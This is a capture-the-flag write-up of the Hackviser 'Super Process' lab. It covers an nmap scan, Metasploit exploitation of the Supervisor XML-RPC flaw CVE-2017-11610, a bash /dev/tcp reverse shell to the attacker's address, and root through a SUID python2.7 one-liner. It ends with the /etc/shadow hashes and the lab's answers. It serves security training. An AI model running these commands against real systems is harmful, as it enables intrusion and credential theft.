Warmup Super Process: Hackviser

- The explanation of the warmup is this:
- This warmup focuses on teaching how to perform vulnerability discovery in a common open-source web application, gain access to the machine, and perform escalation attacks on Linux-based systems.
- It is recommended to practice vulnerability detection in a web application, exploiting the vulnerability through the Metasploit Framework, and privilege escalation attacks due to misconfigurations.

- I just have an ip address at the moment

1- Which ports are open?

- Let’s start with a nmap scan

```
┌──(kali㉿kali)-[~/Downloads]
└─$ nmap -sV 172.20.37.148
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-25 14:53 EDT
Nmap scan report for 172.20.37.148
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.71 seconds
```

- The answer of the question is 22 and 9001

- I’m not be able to use 22 ssh port at the moment because I don’t have any username and password information
- So Let’s look to 9001 http port

2- What is the CVE code of the vulnerability found in the web application?

- I have a information from nmap scan
- In the port 9001 service Medusa Supervisor Process Manager running
- Let’s look to the exploit.db maybe we can find an exploit for it

2017-09-25		Supervisor 3.0a1 < 3.3.2 - XML-RPC (Authenticated) Remote Code Execution (Metasploit)	Remote	Linux	Metasploit

- Let’s try this on the metasploit
- I found the same payload in the metasploit

```
msf > search supervisor

Matching Modules
================

  #  Name                                        Disclosure Date  Rank       Check  Description
  -  ----                                        ---------------  ----       -----  -----------
  0  exploit/linux/http/cisco_ucs_rce            2019-08-21       excellent  Yes    Cisco UCS Director Unauthenticated Remote Code Execution
  1  exploit/linux/ssh/cisco_ucs_scpuser         2019-08-21       excellent  No     Cisco UCS Director default scpuser password
  2  exploit/linux/http/supervisor_xmlrpc_exec   2017-07-19       excellent  Yes    Supervisor XML-RPC Authenticated Remote Code Execution
  3  exploit/linux/http/trueonline_p660hn_v2_rce 2016-12-26       excellent  Yes    TrueOnline / ZyXEL P660HN-T v2 Router Authenticated Command Injection
  4  exploit/linux/http/zyxel_lfi_unauth_ssh_rce 2022-02-01       excellent  Yes    Zyxel chained RCE using LFI and weak password derivation algorithm
  5    \_ target: Unix Command                   .                .          .      .
  6    \_ target: Linux Dropper                  .                .          .      .
  7    \_ target: Interactive SSH                .                .          .      .
```

- Let’s make the options
- Those are the options

```
msf exploit(linux/http/supervisor_xmlrpc_exec) > show options

Module options (exploit/linux/http/supervisor_xmlrpc_exec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword                   no        Password for HTTP basic auth
   HttpUsername                   no        Username for HTTP basic auth
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks5h, http,
                                             sapni
   RHOSTS        172.20.37.148    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT         9001             yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI     /RPC2            yes       The path to the XML-RPC endpoint
   URIPATH                        no        The URI to use for this exploit (default is random)
   VHOST                          no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
                                       on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   3.0a1-3.3.2
```

- Let’s exploit

```
msf exploit(linux/http/supervisor_xmlrpc_exec) > exploit
[*] Started reverse TCP handler on 10.8.105.24:4444
[*] Sending XML-RPC payload via POST to 172.20.37.148:9001/RPC2
[*] Sending stage (3090404 bytes) to 172.20.37.148
[*] Command Stager progress -  97.32% done (798/820 bytes)
[*] Sending XML-RPC payload via POST to 172.20.37.148:9001/RPC2
[*] Command Stager progress - 100.00% done (820/820 bytes)
[+] Request returned without status code, usually indicates success. Passing to handler..
[*] Meterpreter session 1 opened (10.8.105.24:4444 → 172.20.37.148:39398) at 2026-04-25 15:22:49 -0400

meterpreter > ls
Listing: /
==========

Mode               Size      Type  Last modified              Name
----               ----      ----  -------------              ----
040755/rwxr-xr-x   20480     dir   2023-10-10 08:09:05 -0400  bin
040755/rwxr-xr-x   4096      dir   2023-10-05 04:28:30 -0400  boot
040755/rwxr-xr-x   3140      dir   2026-04-25 15:08:32 -0400  dev
040755/rwxr-xr-x   4096      dir   2026-04-25 15:08:39 -0400  etc
040755/rwxr-xr-x   4096      dir   2023-10-05 04:30:24 -0400  home
100644/rw-r--r--   28998242  fil   2023-10-05 04:26:50 -0400  initrd.img
100644/rw-r--r--   28990927  fil   2023-10-05 04:24:46 -0400  initrd.img.old
040755/rwxr-xr-x   4096      dir   2023-10-10 08:09:05 -0400  lib
040755/rwxr-xr-x   4096      dir   2023-10-05 04:23:35 -0400  lib32
040755/rwxr-xr-x   4096      dir   2023-10-05 04:26:12 -0400  lib64
```

- Yeah I’m in
- By the way the answer of this question is CVE-**2017-11610**

3- Which user's permissions and authorizations does the vulnerable service work with?

- I have a meterpreter shell at the moment
- Yeah meterpreter shell is exactly good but not too much comfortable for me
- Because of that I wanna take a reverse shell
- Firstly I started a listener with netcat

```
┌──(kali㉿kali)-[~/Downloads]
└─$ nc -lvnp 4445
listening on [any] 4445 ...
```

- Then I took some help from gemini
- And I runned this command in the meterpreter shell

```
meterpreter > execute -f /bin/bash -a "-c 'bash -i >& /dev/tcp/10.8.105.24/4445 0>&1'"
Process 459 created.
```

- Then I get a reverse shell

```
┌──(kali㉿kali)-[~/Downloads]
└─$ nc -lvnp 4445
listening on [any] 4445 ...

connect to [10.8.105.24] from (UNKNOWN) [172.20.37.148] 57392
bash: cannot set terminal process group (412): Inappropriate ioctl for device
bash: no job control in this shell
nobody@debian:/$
nobody@debian:/$ whoami
whoami
nobody
nobody@debian:/$
```

- Yeah I'm in
- Whoami —→ nobody hahahhahahahhahhahahahaahha

```
nobody@debian:/$
nobody@debian:/$ whoami
whoami
nobody
```

- The answer of the question is nobody

4- What is the name of the application with SUID permissions that we can use for privilege escalation?

- As we can see from the picture the name of the app is python2.7

```
nobody@debian:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/python2.7
```

- Let’s be root

```
nobody@debian:/$ /usr/bin/python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
<2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
whoami
root
```

- Yeah I’m root right now
- I can do whatever I want

5- What is the password hash value in /etc/shadow for the user "root"?

- As you can see from the picture I found the hash value

```
cat /etc/shadow
root:$y$j9T$e8KohoZuo9Aaj1SpH7/pm1$mu9eKYycNlRPCJ51dW8d71.aPH0ceBM0AKxAaiil7C5:19640:0:99999:7:::
daemon:*:19635:0:99999:7:::
bin:*:19635:0:99999:7:::
sys:*:19635:0:99999:7:::
sync:*:19635:0:99999:7:::
games:*:19635:0:99999:7:::
man:*:19635:0:99999:7:::
lp:*:19635:0:99999:7:::
mail:*:19635:0:99999:7:::
news:*:19635:0:99999:7:::
uucp:*:19635:0:99999:7:::
proxy:*:19635:0:99999:7:::
www-data:*:19635:0:99999:7:::
backup:*:19635:0:99999:7:::
list:*:19635:0:99999:7:::
irc:*:19635:0:99999:7:::
gnats:*:19635:0:99999:7:::
nobody:*:19635:0:99999:7:::
_apt:*:19635:0:99999:7:::
systemd-network:*:19635:0:99999:7:::
systemd-resolve:*:19635:0:99999:7:::
messagebus:*:19635:0:99999:7:::
systemd-timesync:*:19635:0:99999:7:::
sshd:*:19635:0:99999:7:::
hackviser:$y$j9T$QQu/lS49B5S0JnhbHl0lG.$t/tBeXv48Efe.2gjdC.Ztus3kysEwNj6seeySpo3cc5:19640:0:99999:7:::
systemd-coredump:!*:19635::::::
```